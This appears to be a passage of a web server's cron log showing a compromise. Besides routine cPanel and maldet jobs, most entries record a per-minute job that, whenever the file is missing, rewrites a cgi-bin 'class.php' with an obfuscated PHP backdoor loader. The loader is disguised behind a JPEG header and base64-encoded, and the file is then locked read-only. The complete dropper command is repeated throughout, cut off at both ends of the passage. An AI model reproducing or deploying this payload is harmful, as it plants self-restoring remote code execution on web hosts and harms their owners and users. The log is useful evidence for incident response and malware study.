ik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:41:01 server CROND[14995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:42:01 server CROND[15146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:42:01 server CROND[15147]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 21:43:01 server CROND[15203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:44:01 server CROND[15243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:45:01 server CROND[15306]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 21:45:01 server CROND[15307]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 21:45:01 server CROND[15308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:46:01 server CROND[15412]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:47:01 server CROND[15553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:48:01 server CROND[15619]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:49:01 server CROND[15682]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:50:01 server CROND[15756]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 21:50:01 server CROND[15757]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 21:50:01 server CROND[15759]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 21:50:01 server CROND[15758]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 21:50:01 server CROND[15770]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:51:01 server CROND[15863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:52:01 server CROND[16001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:53:01 server CROND[16055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:54:01 server CROND[16108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 